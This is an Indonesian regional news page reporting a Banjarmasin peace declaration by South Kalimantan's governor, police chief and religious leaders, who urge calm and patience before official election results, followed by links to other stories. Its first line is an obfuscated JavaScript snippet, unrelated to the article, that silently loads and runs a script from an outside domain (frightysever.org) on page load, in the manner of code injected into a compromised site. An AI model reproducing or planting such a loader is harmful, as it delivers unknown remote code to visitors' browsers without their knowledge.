(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Deklarasi Merajut Kembali Tali Persaudaraan Masyarakat Banua dalam Rangka Menjaga Stabilitas Kamtibmas di Kalsel digelar di Gedung Serbaguna Chandra, Selasa (30/4). Deklarasi ini diikuti Gubernur Kalsel Sahbirin Noor diikuti oleh Forkopimda serta tokoh masyarakat dan tokoh agama.
Deklarasi ini guna menjaga stabilitas keamanan dan kedamaian serta menjalin kesatuan dan persatuan bangsa, memelihara tali persaudaraan sebagaimana masyarakat banua yang ‘Ruhuy Rahayu’, menentang segala bentuk hoaks, ujaran kebencian, dan upaya inkonstitusional yang memecah belah persatuan dan kesatuan NKRI. Termasuk mengajak seluruh komponen masyarakat untuk tetap tenang dan sabar dalam menunggu hasil resmi dari KPU.
Sahbirin Noor, berharap agar masyarakat Kalsel untuk sabar dalam menunggu hasil putusan. Ia harap agar seluruh masyarakat kembali ke kehidupan sehari-hari dan tidak saling ribut dan berkelahi demi suasanan Kalsel yang kondusif. “Kadang, menunggu pekerjaan yang jenuh. Isi dengan kegiatan positif,” sarannya.
Fadhly Mansoer, Sekretaris MUI Kalsel sangat mengapresiasi deklarasi ini. Pun ia mengimbau khususnya umat Islam untuk bersyukur kepada Allah SWT. Ia juga mengajak agar relawan jangan main hakim sendiri dalam menunggu hasi hitung cepat. “Ajak elemen masyarakat untuk tetap tenang dan tidak lakukan hal-hal yang merusak kesatuan dan persatuan,” ujarnya.
Ia meminta para pemuka agama dan tokoh masyarakat lainnya untuk memberi bimbingan kepada masyarakat agar berpikir jernih dan positif dan tidak mudah diadu domba. “Berbeda pilihan itu hal biasa,” tuturnya.
Sementara Kapolda Kalsel Irjen Yazid Fanani pun menambahkan, ealita sosial yang ada saat ini adalah masyarakat mudah terprovokasi dan menjadi fanatik, sehingga timbul rivalitas antar sesama akibat perbedaan. Padahal persoalan bukanlah ihwal perbedaan yang ada, tapi bagaimana masyarakat dalam menyikapi perbedaan.
“Perbedaan yang tidak disikapi dengan arif akan menimbulkan pergesekan. Harusnya masyarakat bersyukur dengan adanya perbedaan. Perbedaan dilihat sebagai pasangan dan spirit saling melengkapi,” bebernya. (mario)
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.